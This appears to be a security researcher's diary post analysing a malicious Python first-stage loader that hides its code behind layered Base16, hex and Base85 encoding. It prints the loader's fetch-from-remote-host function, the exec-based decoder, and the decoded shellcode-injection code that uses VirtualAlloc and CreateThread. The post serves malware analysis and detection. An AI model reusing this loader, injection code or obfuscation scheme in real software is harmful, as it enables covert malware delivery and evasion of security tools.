My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Multiple BaseXX Obfuscations

Published: 2021-07-16. Last Updated: 2021-07-16 07:14:39 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

I found an interesting malicious Python script during my daily hunting routine. The script has a VT score of 2/58[1] (SHA256: 6990298edd0d66850578bfd1e1b9d42abfe7a8d1deb828ef0c7017281ee7c5b7). Its purpose is to perform the first stage of the infection. It downloads a shellcode, injects it into memory, and executes it. What’s interesting is the way obfuscation is implemented.

Base64 is a common way to hide data in a script but it’s also very easy to detect and most security tools can decode Base64 on the fly. But you can use other ways to encode data. If you scan the sample with base64dump, nothing relevant is detected:

remnux@remnux:/MalwareZoo/20210714$ base64dump.py -n 6 mk78HMRB.py
ID  Size    Encoded          Decoded          md5 decoded                     
--  ----    -------          -------          -----------                     
1:       8 kernel32         ...z].           0c89e6e5e8acb90c2be62b37b6b803df
2:       8 strftime         ....).           9f2acbaa5d91ada43c506a06f5b81522
3:       8 hongkong         ......           67c09115a901f85d8aa1510deb5e26da
4:       8 aliyuncs         jX..w,           b350cadf65497e4131fbe1b40d75dc55
5:      12 com/Htop6K4c     r....)...        aa97a8279e9845c1d421bdabfb225219
6:       8 response         ..).{.           cc5c4d7be5a954a434b5cf46b0b797b9
7:       8 response         ..).{.           cc5c4d7be5a954a434b5cf46b0b797b9
8:       8 shutdown         ...v.'           72b5b0c506b6c7cdfad115d0bc3de03c
9:       8 recvdata         ../u.Z           1252a378435ed88c3940b3dc9726c27a
10:       8 hongkong         ......           67c09115a901f85d8aa1510deb5e26da
11:       8 aliyuncs         jX..w,           b350cadf65497e4131fbe1b40d75dc55
12:      12 com/Mvm3knJw     r..2...rp        186f5b84aefecf952b4609975de32d17
13:      52 3535373536623561 .............}.. f9256117f27c699d635c0fb6091993f7

Let's have a look at the code. The shellcode is executed on the victim's computer through the load() function:

def load():
    try:
        global c
        url = 'hxxp://flash-browser-plugins[.]oss-cn-hongkong[.]aliyuncs[.]com/Mvm3knJw.txt'
        req = urllib.request.Request(url)
        data = urllib.request.urlopen(req).read()
        c = b''.fromhex(data.decode())
        c = base64.b85decode(c)
        decrypt_eval(      '353833653434326234333631323632333632346336323631363032643530363233333331366637373632333736363661356135313636373933'
'643238346137333430346337323634333236653534346634353566356133323635353734653634333634643539363836303662333735373666'
'323434343734343533653365373834323632363136393332343434633332353035363731353633633364336234353634333236653534346634'
'353430346534643335356136373635346637383434346132393764366136343332366535343466343534303465346433353561363736353530'
'353935373666376235653431343434613634326137343632363136303264353036323331373137633436353833653465333235363436366534'
'323538343334363636363236303432343135393261363935333631343136623338353935363566323336303261363235333465326432613437'
'323537613536343334613337363135373734363134313662333835393633353734373762333935393264376432313534353737303561373733'
'313539323533663264333035313637366432313638356132623332373832383537366633653536343136333566336634363631363433323665'
'353434663435343034653464333535613637363535303661353833653238336232643464346532383762346134343461323637303662343534'
'363636363336313634333236653534346634353430346534643335356136373635353035393537366637623565343134343461363437393433'
'363337303739343333653536376333303330346535373730363736363636353833653464363437643539323535383638346436313236343236'
'343338343736333731366536393631323534353737333335373664343935343233353736653730333937643536376333303330346535373730'
'363736363463353537353662356133313433343033663338333335363763333033303465353737303637363634633535373536623561333134'
'333430336633383333353637633330333034653537373036373636346335353735366235613331343433303637353836343537366432643661'
'333235393264343137643633353637633330333034653537373036373636346335353735366235613331343334303366333833333536376333'
'303330346535373730363736363463353537353662356133313433343033663338333335363763333033303465353737303637363635393561'
'323937343339343835373730353834383435363236313630326435303632333137313763343635383365346533323536343636353738363333'
'313461333736313537373436313431366233383539363335373437376233393539326437643231353435373730356137373331353932353366'
'326433303533333734323261323534643733343935323633353833653464366533313537366337363236363935373665326132623437353637'
'633330333034653537373036373636346335353735366235613331343433303665343633653536376333303330346535373730363736363463'
'3535373536623561333134333430366534353335343434633536'
        )
    except:
        xlog('load', traceback.format_exc())

The function decrypt_eval() uses multiple encodings: 

def decrypt_eval(str):
    global c
    s1 = base64.b16decode(str.encode()).decode()
    s2 = b''.fromhex(s1)
    s3 = base64.b85decode(s2)
    exec(s3.decode())

The string passed as a parameter has been Base85-encoded[2], Hex-encoded, and finally, Base16-encoded.

Here is the decoded chunk of data:

import ctypes;
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(c)),ctypes.c_int(0x3000), ctypes.c_int(0x40));
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(wiseZERld), c, ctypes.c_int(len(c)));
x = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(x),ctypes.c_int(-1));

The variable c is filled with data downloaded from hxxp://flash-browser-plugins[.]oss-cn-hongkong[.]aliyuncs[.]com/Mvm3knJw.txt. The payload is decoded in the same way: Hex > Base85.

Not super complex to implement but quite efficient when you see the VT score!

[1] https://www.virustotal.com/gui/file/6990298edd0d66850578bfd1e1b9d42abfe7a8d1deb828ef0c7017281ee7c5b7/detection
[2] https://docs.python.org/3/library/base64.html

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

0 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments


Diary Archives